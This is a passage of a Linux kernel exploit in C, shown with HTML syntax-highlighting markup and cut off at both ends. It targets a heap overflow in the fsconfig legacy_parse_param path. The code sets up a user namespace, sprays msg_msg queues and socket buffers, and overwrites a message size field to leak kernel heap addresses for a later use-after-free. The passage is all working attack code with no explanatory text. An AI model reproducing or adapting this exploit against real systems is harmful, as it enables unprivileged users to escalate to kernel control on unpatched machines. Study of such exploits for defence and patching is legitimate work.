<span class="token operator">|</span> CLONE_NEWUSER<span class="token punctuation">)</span><span class="token punctuation">;</span>  fd <span class="token operator">=</span> <span class="token function">open</span><span class="token punctuation">(</span><span class="token string">"/proc/self/setgroups"</span><span class="token punctuation">,</span> O_WRONLY<span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token function">snprintf</span><span class="token punctuation">(</span>buff<span class="token punctuation">,</span> <span class="token keyword">sizeof</span><span class="token punctuation">(</span>buff<span class="token punctuation">)</span><span class="token punctuation">,</span> <span class="token string">"deny"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token function">write</span><span class="token punctuation">(</span>fd<span class="token punctuation">,</span> buff<span class="token punctuation">,</span> <span class="token function">strlen</span><span class="token punctuation">(</span>buff<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token function">close</span><span class="token punctuation">(</span>fd<span class="token punctuation">)</span><span class="token punctuation">;</span>  fd <span class="token operator">=</span> <span class="token function">open</span><span class="token punctuation">(</span><span class="token string">"/proc/self/uid_map"</span><span class="token punctuation">,</span> O_WRONLY<span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token function">snprintf</span><span class="token punctuation">(</span>buff<span class="token punctuation">,</span> <span class="token keyword">sizeof</span><span class="token punctuation">(</span>buff<span class="token punctuation">)</span><span class="token punctuation">,</span> <span class="token string">"0 %d 1"</span><span class="token punctuation">,</span> <span class="token function">getuid</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token function">write</span><span class="token punctuation">(</span>fd<span class="token punctuation">,</span> buff<span class="token punctuation">,</span> <span class="token function">strlen</span><span class="token punctuation">(</span>buff<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token function">close</span><span class="token punctuation">(</span>fd<span class="token punctuation">)</span><span class="token punctuation">;</span>  fd <span class="token operator">=</span> <span class="token function">open</span><span class="token punctuation">(</span><span class="token string">"/proc/self/gid_map"</span><span class="token punctuation">,</span> O_WRONLY<span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token function">snprintf</span><span class="token punctuation">(</span>buff<span class="token punctuation">,</span> <span class="token keyword">sizeof</span><span class="token punctuation">(</span>buff<span class="token punctuation">)</span><span class="token punctuation">,</span> <span class="token string">"0 %d 1"</span><span class="token punctuation">,</span> <span class="token function">getgid</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token function">write</span><span class="token punctuation">(</span>fd<span class="token punctuation">,</span> buff<span class="token punctuation">,</span> <span class="token function">strlen</span><span class="token punctuation">(</span>buff<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token function">close</span><span class="token punctuation">(</span>fd<span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span class="token keyword">void</span> <span class="token function">init_msg</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span>  <span class="token keyword">for</span> <span class="token punctuation">(</span><span class="token keyword">int</span> i <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span> i <span class="token operator">&lt;</span> NUM_MSQIDS_1<span class="token punctuation">;</span> i<span class="token operator">++</span><span class="token punctuation">)</span>  <span class="token punctuation">&#123;</span>    <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token punctuation">(</span>msqid_1<span class="token punctuation">[</span>i<span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token function">msgget</span><span class="token punctuation">(</span>IPC_PRIVATE<span class="token punctuation">,</span> IPC_CREAT <span class="token operator">|</span> <span class="token number">0666</span><span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token operator">&lt;</span> <span class="token number">0</span><span class="token punctuation">)</span>      <span class="token function">die</span><span class="token punctuation">(</span><span class="token string">"msgget() error"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token punctuation">&#125;</span>  <span class="token keyword">for</span> <span class="token punctuation">(</span><span class="token keyword">int</span> i <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span> i <span class="token operator">&lt;</span> NUM_MSQIDS_2<span class="token punctuation">;</span> i<span class="token operator">++</span><span class="token punctuation">)</span>  <span class="token punctuation">&#123;</span>    <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token punctuation">(</span>msqid_2<span class="token punctuation">[</span>i<span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token function">msgget</span><span class="token punctuation">(</span>IPC_PRIVATE<span class="token punctuation">,</span> IPC_CREAT <span class="token operator">|</span> <span class="token number">0666</span><span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token operator">&lt;</span> <span class="token number">0</span><span class="token punctuation">)</span>      <span class="token function">die</span><span class="token punctuation">(</span><span class="token string">"msgget() error"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token punctuation">&#125;</span><span class="token punctuation">&#125;</span><span class="token keyword">void</span> <span class="token function">clean_msg_1</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span>  <span class="token keyword">for</span> <span class="token punctuation">(</span><span class="token keyword">int</span> i <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span> i <span class="token operator">&lt;</span> NUM_MSQIDS_1<span class="token punctuation">;</span> i<span class="token operator">++</span><span class="token punctuation">)</span>  <span class="token punctuation">&#123;</span>    <span class="token function">msgrcv</span><span class="token punctuation">(</span>msqid_1<span class="token punctuation">[</span>i<span class="token punctuation">]</span><span class="token punctuation">,</span> msg_a<span class="token punctuation">,</span> MSG_A_TEXT_SIZE<span class="token punctuation">,</span> MTYPE_A<span class="token punctuation">,</span> IPC_NOWAIT<span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token punctuation">&#125;</span><span class="token punctuation">&#125;</span><span class="token keyword">void</span> <span class="token function">clean_msg_2</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span>  <span class="token keyword">for</span> <span class="token punctuation">(</span><span class="token keyword">int</span> i <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span> i <span class="token operator">&lt;</span> NUM_MSQIDS_2<span class="token punctuation">;</span> i<span class="token operator">++</span><span class="token punctuation">)</span>  <span class="token punctuation">&#123;</span>    <span class="token function">msgrcv</span><span class="token punctuation">(</span>msqid_2<span class="token punctuation">[</span>i<span class="token punctuation">]</span><span class="token punctuation">,</span> msg_b<span class="token punctuation">,</span> <span class="token number">64</span> <span class="token operator">-</span> <span class="token keyword">sizeof</span><span class="token punctuation">(</span><span class="token keyword">struct</span> <span class="token class-name">msg_msg</span><span class="token punctuation">)</span><span class="token punctuation">,</span> MTYPE_B1<span class="token punctuation">,</span>           IPC_NOWAIT<span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token function">msgrcv</span><span class="token punctuation">(</span>msqid_2<span class="token punctuation">[</span>i<span class="token punctuation">]</span><span class="token punctuation">,</span> msg_b<span class="token punctuation">,</span> <span class="token number">1024</span> <span class="token operator">-</span> <span class="token keyword">sizeof</span><span class="token punctuation">(</span><span class="token keyword">struct</span> <span class="token class-name">msg_msg</span><span class="token punctuation">)</span><span class="token punctuation">,</span> MTYPE_B2<span class="token punctuation">,</span>           IPC_NOWAIT<span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token punctuation">&#125;</span><span class="token punctuation">&#125;</span><span class="token keyword">void</span> <span class="token function">init_sock</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span>  <span class="token keyword">for</span> <span class="token punctuation">(</span><span class="token keyword">int</span> i <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span> i <span class="token operator">&lt;</span> NUM_SOCKETS<span class="token punctuation">;</span> i<span class="token operator">++</span><span class="token punctuation">)</span>  <span class="token punctuation">&#123;</span>    <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token function">socketpair</span><span class="token punctuation">(</span>AF_UNIX<span class="token punctuation">,</span> SOCK_STREAM<span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">,</span> sock_pairs<span class="token punctuation">[</span>i<span class="token punctuation">]</span><span class="token punctuation">)</span> <span class="token operator">&lt;</span> <span class="token number">0</span><span class="token punctuation">)</span>      <span class="token function">die</span><span class="token punctuation">(</span><span class="token string">"socketpair() error"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token punctuation">&#125;</span><span class="token punctuation">&#125;</span><span class="token keyword">void</span> <span class="token function">bind_cpu</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span>  <span class="token class-name">cpu_set_t</span> my_set<span class="token punctuation">;</span>  <span class="token function">CPU_ZERO</span><span class="token punctuation">(</span><span class="token operator">&amp;</span>my_set<span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token function">CPU_SET</span><span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">,</span> <span class="token operator">&amp;</span>my_set<span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token function">sched_setaffinity</span><span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">,</span> <span class="token keyword">sizeof</span><span class="token punctuation">(</span><span class="token class-name">cpu_set_t</span><span class="token punctuation">)</span><span class="token punctuation">,</span> <span class="token operator">&amp;</span>my_set<span class="token punctuation">)</span><span class="token punctuation">)</span>  <span class="token punctuation">&#123;</span>    <span class="token function">die</span><span class="token punctuation">(</span><span class="token string">"sched_setaffinity() error"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token punctuation">&#125;</span><span class="token punctuation">&#125;</span><span class="token keyword">int</span> <span class="token function">call_fsopen</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span>  <span class="token keyword">int</span> fd <span class="token operator">=</span> <span class="token function">fsopen</span><span class="token punctuation">(</span><span class="token string">"ext4"</span><span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token keyword">if</span> <span class="token punctuation">(</span>fd <span class="token operator">&lt;</span> <span class="token number">0</span><span class="token punctuation">)</span>  <span class="token punctuation">&#123;</span>    <span class="token function">die</span><span class="token punctuation">(</span><span class="token string">"fsopen() error"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token punctuation">&#125;</span>  <span class="token keyword">return</span> fd<span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span class="token keyword">void</span> <span class="token function">spray_skbuff_data</span><span class="token punctuation">(</span><span class="token keyword">void</span> <span class="token operator">*</span>ptr<span class="token punctuation">,</span> <span class="token class-name">size_t</span> size<span class="token punctuation">)</span><span class="token punctuation">&#123;</span>  <span class="token keyword">for</span> <span class="token punctuation">(</span><span class="token keyword">int</span> i <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span> i <span class="token operator">&lt;</span> NUM_SOCKETS<span class="token punctuation">;</span> i<span class="token operator">++</span><span class="token punctuation">)</span>  <span class="token punctuation">&#123;</span>    <span class="token keyword">for</span> <span class="token punctuation">(</span><span class="token keyword">int</span> j <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span> j <span class="token operator">&lt;</span> NUM_SKBUFFS<span class="token punctuation">;</span> j<span class="token operator">++</span><span class="token punctuation">)</span>    <span class="token punctuation">&#123;</span>      <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token function">write</span><span class="token punctuation">(</span>sock_pairs<span class="token punctuation">[</span>i<span class="token punctuation">]</span><span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span><span class="token punctuation">,</span> ptr<span class="token punctuation">,</span> size<span class="token punctuation">)</span> <span class="token operator">&lt;</span> <span class="token number">0</span><span class="token punctuation">)</span>      <span class="token punctuation">&#123;</span>        <span class="token function">die</span><span class="token punctuation">(</span><span class="token string">"write to sock pairs failed"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>      <span class="token punctuation">&#125;</span>    <span class="token punctuation">&#125;</span>  <span class="token punctuation">&#125;</span><span class="token punctuation">&#125;</span><span class="token keyword">void</span> <span class="token function">free_skbuff_data</span><span class="token punctuation">(</span><span class="token keyword">void</span> <span class="token operator">*</span>ptr<span class="token punctuation">,</span> <span class="token class-name">size_t</span> size<span class="token punctuation">)</span><span class="token punctuation">&#123;</span>  <span class="token keyword">for</span> <span class="token punctuation">(</span><span class="token keyword">int</span> i <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span> i <span class="token operator">&lt;</span> NUM_SOCKETS<span class="token punctuation">;</span> i<span class="token operator">++</span><span class="token punctuation">)</span>  <span class="token punctuation">&#123;</span>    <span class="token keyword">for</span> <span class="token punctuation">(</span><span class="token keyword">int</span> j <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span> j <span class="token operator">&lt;</span> NUM_SKBUFFS<span class="token punctuation">;</span> j<span class="token operator">++</span><span class="token punctuation">)</span>    <span class="token punctuation">&#123;</span>      <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token function">read</span><span class="token punctuation">(</span>sock_pairs<span class="token punctuation">[</span>i<span class="token punctuation">]</span><span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">]</span><span class="token punctuation">,</span> ptr<span class="token punctuation">,</span> size<span class="token punctuation">)</span> <span class="token operator">&lt;</span> <span class="token number">0</span><span class="token punctuation">)</span>      <span class="token punctuation">&#123;</span>        <span class="token function">die</span><span class="token punctuation">(</span><span class="token string">"read from sock pairs failed"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>      <span class="token punctuation">&#125;</span>    <span class="token punctuation">&#125;</span>  <span class="token punctuation">&#125;</span><span class="token punctuation">&#125;</span><span class="token keyword">void</span> <span class="token function">prepare_overflow</span><span class="token punctuation">(</span><span class="token keyword">int</span> fsid<span class="token punctuation">)</span><span class="token punctuation">&#123;</span>  <span class="token keyword">char</span> buff<span class="token punctuation">[</span><span class="token number">0x100</span><span class="token punctuation">]</span><span class="token punctuation">;</span>  <span class="token function">logdebug</span><span class="token punctuation">(</span><span class="token string">"prepare fsconfig heap overflow"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token function">memset</span><span class="token punctuation">(</span>buff<span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">,</span> <span class="token keyword">sizeof</span><span class="token punctuation">(</span>buff<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token function">memset</span><span class="token punctuation">(</span>buff<span class="token punctuation">,</span> <span class="token string">'A'</span><span class="token punctuation">,</span> <span class="token number">0x100</span> <span class="token operator">-</span> <span class="token number">2</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token keyword">for</span> <span class="token punctuation">(</span><span class="token keyword">int</span> i <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span> i <span class="token operator">&lt;</span> <span class="token number">0xf</span><span class="token punctuation">;</span> i<span class="token operator">++</span><span class="token punctuation">)</span>  <span class="token punctuation">&#123;</span>    <span class="token comment">// ",=" + buff</span>    <span class="token function">fsconfig</span><span class="token punctuation">(</span>fsid<span class="token punctuation">,</span> FSCONFIG_SET_STRING<span class="token punctuation">,</span> <span class="token string">"\x00"</span><span class="token punctuation">,</span> buff<span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token punctuation">&#125;</span>  <span class="token function">memset</span><span class="token punctuation">(</span>buff<span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">,</span> <span class="token keyword">sizeof</span><span class="token punctuation">(</span>buff<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token function">memset</span><span class="token punctuation">(</span>buff<span class="token punctuation">,</span> <span class="token string">'B'</span><span class="token punctuation">,</span> <span class="token number">0x100</span> <span class="token operator">-</span> <span class="token number">3</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token comment">// ",=" + buff</span>  <span class="token function">fsconfig</span><span class="token punctuation">(</span>fsid<span class="token punctuation">,</span> FSCONFIG_SET_STRING<span class="token punctuation">,</span> <span class="token string">"\x00"</span><span class="token punctuation">,</span> buff<span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span class="token keyword">int</span> <span class="token function">do_leak_heap</span><span class="token punctuation">(</span><span class="token keyword">int</span> fsid<span class="token punctuation">)</span><span class="token punctuation">&#123;</span>  <span class="token keyword">char</span> buff<span class="token punctuation">[</span><span class="token number">0x100</span><span class="token punctuation">]</span><span class="token punctuation">;</span>  <span class="token function">logdebug</span><span class="token punctuation">(</span><span class="token string">"--- do_leak_heap ---"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token function">prepare_overflow</span><span class="token punctuation">(</span>fsid<span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token function">logdebug</span><span class="token punctuation">(</span><span class="token string">"spraying messasge queue 1..."</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token keyword">for</span> <span class="token punctuation">(</span><span class="token keyword">int</span> i <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span> i <span class="token operator">&lt;</span> NUM_MSQIDS_1<span class="token punctuation">;</span> i<span class="token operator">++</span><span class="token punctuation">)</span>  <span class="token punctuation">&#123;</span>    msg_a<span class="token operator">-></span>mtype <span class="token operator">=</span> MTYPE_A<span class="token punctuation">;</span>    <span class="token function">memset</span><span class="token punctuation">(</span>msg_a<span class="token operator">-></span>mtext<span class="token punctuation">,</span> <span class="token string">'A'</span><span class="token punctuation">,</span> MSG_A_TEXT_SIZE<span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token keyword">int</span> <span class="token operator">*</span><span class="token punctuation">)</span><span class="token operator">&amp;</span>msg_a<span class="token operator">-></span>mtext<span class="token punctuation">)</span><span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span> <span class="token operator">=</span> MSG_TAG<span class="token punctuation">;</span>    <span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token keyword">int</span> <span class="token operator">*</span><span class="token punctuation">)</span><span class="token operator">&amp;</span>msg_a<span class="token operator">-></span>mtext<span class="token punctuation">)</span><span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">]</span> <span class="token operator">=</span> i<span class="token punctuation">;</span>    <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token function">msgsnd</span><span class="token punctuation">(</span>msqid_1<span class="token punctuation">[</span>i<span class="token punctuation">]</span><span class="token punctuation">,</span> msg_a<span class="token punctuation">,</span> MSG_A_TEXT_SIZE<span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">)</span> <span class="token operator">&lt;</span> <span class="token number">0</span><span class="token punctuation">)</span>      <span class="token function">die</span><span class="token punctuation">(</span><span class="token string">"msgsnd() error"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token punctuation">&#125;</span>  <span class="token function">logdebug</span><span class="token punctuation">(</span><span class="token string">"spraying messasge queue 2..."</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token keyword">for</span> <span class="token punctuation">(</span><span class="token keyword">int</span> i <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span> i <span class="token operator">&lt;</span> NUM_MSQIDS_2<span class="token punctuation">;</span> i<span class="token operator">++</span><span class="token punctuation">)</span>  <span class="token punctuation">&#123;</span>    <span class="token class-name">size_t</span> n <span class="token operator">=</span> <span class="token number">1024</span> <span class="token operator">-</span> <span class="token keyword">sizeof</span><span class="token punctuation">(</span><span class="token keyword">struct</span> <span class="token class-name">msg_msg</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token function">memset</span><span class="token punctuation">(</span>msg_b<span class="token operator">-></span>mtext<span class="token punctuation">,</span> <span class="token string">'B'</span><span class="token punctuation">,</span> n<span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token keyword">int</span> <span class="token operator">*</span><span class="token punctuation">)</span><span class="token operator">&amp;</span>msg_b<span class="token operator">-></span>mtext<span class="token punctuation">)</span><span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span> <span class="token operator">=</span> MSG_TAG<span class="token punctuation">;</span>    <span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token keyword">int</span> <span class="token operator">*</span><span class="token punctuation">)</span><span class="token operator">&amp;</span>msg_b<span class="token operator">-></span>mtext<span class="token punctuation">)</span><span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">]</span> <span class="token operator">=</span> i<span class="token punctuation">;</span>    msg_b<span class="token operator">-></span>mtype <span class="token operator">=</span> MTYPE_B1<span class="token punctuation">;</span>    n <span class="token operator">=</span> <span class="token number">64</span> <span class="token operator">-</span> <span class="token keyword">sizeof</span><span class="token punctuation">(</span><span class="token keyword">struct</span> <span class="token class-name">msg_msg</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token function">msgsnd</span><span class="token punctuation">(</span>msqid_2<span class="token punctuation">[</span>i<span class="token punctuation">]</span><span class="token punctuation">,</span> msg_b<span class="token punctuation">,</span> n<span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">)</span> <span class="token operator">&lt;</span> <span class="token number">0</span><span class="token punctuation">)</span>      <span class="token function">die</span><span class="token punctuation">(</span><span class="token string">"msgsnd() error"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    msg_b<span class="token operator">-></span>mtype <span class="token operator">=</span> MTYPE_B2<span class="token punctuation">;</span>    n <span class="token operator">=</span> <span class="token number">1024</span> <span class="token operator">-</span> <span class="token keyword">sizeof</span><span class="token punctuation">(</span><span class="token keyword">struct</span> <span class="token class-name">msg_msg</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token function">msgsnd</span><span class="token punctuation">(</span>msqid_2<span class="token punctuation">[</span>i<span class="token punctuation">]</span><span class="token punctuation">,</span> msg_b<span class="token punctuation">,</span> n<span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">)</span> <span class="token operator">&lt;</span> <span class="token number">0</span><span class="token punctuation">)</span>      <span class="token function">die</span><span class="token punctuation">(</span><span class="token string">"msgsnd() error"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token punctuation">&#125;</span>  <span class="token function">logdebug</span><span class="token punctuation">(</span><span class="token string">"trigger oob write in `legacy_parse_param` to msg_msg.m_ts"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token function">memset</span><span class="token punctuation">(</span>buff<span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">,</span> <span class="token keyword">sizeof</span><span class="token punctuation">(</span>buff<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token function">strcat</span><span class="token punctuation">(</span>buff<span class="token punctuation">,</span> <span class="token string">"0000000"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token comment">// m_list.next</span>  <span class="token function">strcat</span><span class="token punctuation">(</span>buff<span class="token punctuation">,</span> <span class="token string">"11111111"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// m_list.prev</span>  <span class="token function">strcat</span><span class="token punctuation">(</span>buff<span class="token punctuation">,</span> <span class="token string">"22222222"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// m_type</span>  <span class="token class-name">uint64_t</span> target_size <span class="token operator">=</span> MSG_A_TEXT_SIZE <span class="token operator">+</span> <span class="token number">64</span> <span class="token operator">*</span> <span class="token number">30</span><span class="token punctuation">;</span>  <span class="token function">memcpy</span><span class="token punctuation">(</span>buff <span class="token operator">+</span> <span class="token function">strlen</span><span class="token punctuation">(</span>buff<span class="token punctuation">)</span><span class="token punctuation">,</span> <span class="token operator">&amp;</span>target_size<span class="token punctuation">,</span> <span class="token number">2</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// m_ts</span>  <span class="token function">fsconfig</span><span class="token punctuation">(</span>fsid<span class="token punctuation">,</span> FSCONFIG_SET_STRING<span class="token punctuation">,</span> <span class="token string">"\x00"</span><span class="token punctuation">,</span> buff<span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token function">logdebug</span><span class="token punctuation">(</span><span class="token string">"searching corrupted msg_msg..."</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token keyword">for</span> <span class="token punctuation">(</span><span class="token keyword">int</span> i <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span> i <span class="token operator">&lt;</span> NUM_MSQIDS_1<span class="token punctuation">;</span> i<span class="token operator">++</span><span class="token punctuation">)</span>  <span class="token punctuation">&#123;</span>    <span class="token class-name">size_t</span> n <span class="token operator">=</span> <span class="token function">msgrcv</span><span class="token punctuation">(</span>msqid_1<span class="token punctuation">[</span>i<span class="token punctuation">]</span><span class="token punctuation">,</span> msg_a_oob<span class="token punctuation">,</span> MSG_A_TEXT_SIZE <span class="token operator">+</span> <span class="token number">64</span> <span class="token operator">*</span> <span class="token number">30</span><span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">,</span>                      MSG_COPY <span class="token operator">|</span> IPC_NOWAIT<span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token keyword">if</span> <span class="token punctuation">(</span>n <span class="token operator">&lt;</span> <span class="token number">0</span><span class="token punctuation">)</span>      <span class="token keyword">continue</span><span class="token punctuation">;</span>    <span class="token keyword">if</span> <span class="token punctuation">(</span>n <span class="token operator">==</span> MSG_A_TEXT_SIZE <span class="token operator">+</span> <span class="token number">64</span> <span class="token operator">*</span> <span class="token number">30</span><span class="token punctuation">)</span>    <span class="token punctuation">&#123;</span>      corrupted_msqid <span class="token operator">=</span> msqid_1<span class="token punctuation">[</span>i<span class="token punctuation">]</span><span class="token punctuation">;</span>      <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token punctuation">(</span>msqid_1<span class="token punctuation">[</span>i<span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token function">msgget</span><span class="token punctuation">(</span>IPC_PRIVATE<span class="token punctuation">,</span> IPC_CREAT <span class="token operator">|</span> <span class="token number">0666</span><span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token operator">&lt;</span>          <span class="token number">0</span><span class="token punctuation">)</span> <span class="token comment">// call clean_msg_1 without crash</span>        <span class="token function">die</span><span class="token punctuation">(</span><span class="token string">"msgget() error"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>      <span class="token keyword">struct</span> <span class="token class-name">msg_msg</span> <span class="token operator">*</span>p <span class="token operator">=</span>          <span class="token punctuation">(</span><span class="token keyword">struct</span> <span class="token class-name">msg_msg</span> <span class="token operator">*</span><span class="token punctuation">)</span><span class="token punctuation">(</span>msg_a_oob<span class="token operator">-></span>mtext <span class="token operator">+</span> MSG_A_TEXT_SIZE<span class="token punctuation">)</span><span class="token punctuation">;</span>      <span class="token keyword">for</span> <span class="token punctuation">(</span><span class="token keyword">int</span> j <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span> j <span class="token operator">&lt;</span> <span class="token number">30</span><span class="token punctuation">;</span> j<span class="token operator">++</span><span class="token punctuation">)</span>      <span class="token punctuation">&#123;</span>        <span class="token keyword">if</span> <span class="token punctuation">(</span>p<span class="token operator">-></span>m_type <span class="token operator">==</span> MTYPE_B1 <span class="token operator">&amp;&amp;</span> p<span class="token operator">-></span>m_ts <span class="token operator">==</span> <span class="token number">64</span> <span class="token operator">-</span> <span class="token keyword">sizeof</span><span class="token punctuation">(</span><span class="token keyword">struct</span> <span class="token class-name">msg_msg</span><span class="token punctuation">)</span> <span class="token operator">&amp;&amp;</span>            <span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token keyword">int</span> <span class="token operator">*</span><span class="token punctuation">)</span><span class="token operator">&amp;</span>p<span class="token operator">-></span>mtext<span class="token punctuation">)</span><span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span> <span class="token operator">==</span> MSG_TAG<span class="token punctuation">)</span>        <span class="token punctuation">&#123;</span>          uaf_msqid <span class="token operator">=</span> msqid_2<span class="token punctuation">[</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token keyword">int</span> <span class="token operator">*</span><span class="token punctuation">)</span><span class="token operator">&amp;</span>p<span class="token operator">-></span>mtext<span class="token punctuation">)</span><span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">]</span><span class="token punctuation">]</span><span class="token punctuation">;</span>          <span class="token function">loginfo</span><span class="token punctuation">(</span><span class="token string">"corrupted_msqid = %d"</span><span class="token punctuation">,</span> corrupted_msqid<span class="token punctuation">)</span><span class="token punctuation">;</span>          <span class="token function">loginfo</span><span class="token punctuation">(</span><span class="token string">"uaf_msqid = %d"</span><span class="token punctuation">,</span> uaf_msqid<span class="token punctuation">)</span><span class="token punctuation">;</span>          kmalloc_1024 <span class="token operator">=</span> p<span class="token operator">-></span>m_list<span class="token punctuation">.</span>next<span class="token punctuation">;</span>          <span class="token comment">// call clean_msg_2 without crash</span>          <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token punctuation">(</span>msqid_2<span class="token punctuation">[</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token keyword">int</span> <span class="token operator">*</span><span class="token punctuation">)</span><span class="token operator">&amp;</span>p<span class="token operator">-></span>mtext<span class="token punctuation">)</span><span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">]</span><span class="token 